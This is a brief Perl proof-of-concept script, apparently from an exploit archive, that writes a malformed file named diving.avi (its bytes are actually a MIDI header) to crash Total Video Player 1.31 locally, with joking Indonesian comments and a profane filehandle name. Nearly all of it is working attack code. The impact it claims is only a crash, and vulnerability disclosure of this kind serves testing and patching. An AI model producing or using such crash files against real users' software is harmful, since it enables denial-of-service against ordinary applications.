#!perl

#############################################
# Total Video Player 1.31 (.avi) Local Crash PoC
# by: diving
# Thanks: Indonesian 31337 server diving aka loncat indah :)
# Note: Kalau hanya bisa loncat indah, loncat indah aja. engga usah main kayak ginian
#       main balon sana dodol.
#############################################

my $diving = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
#############################################
open(fuck, "> diving.avi");
print (fuck $diving);
#############################################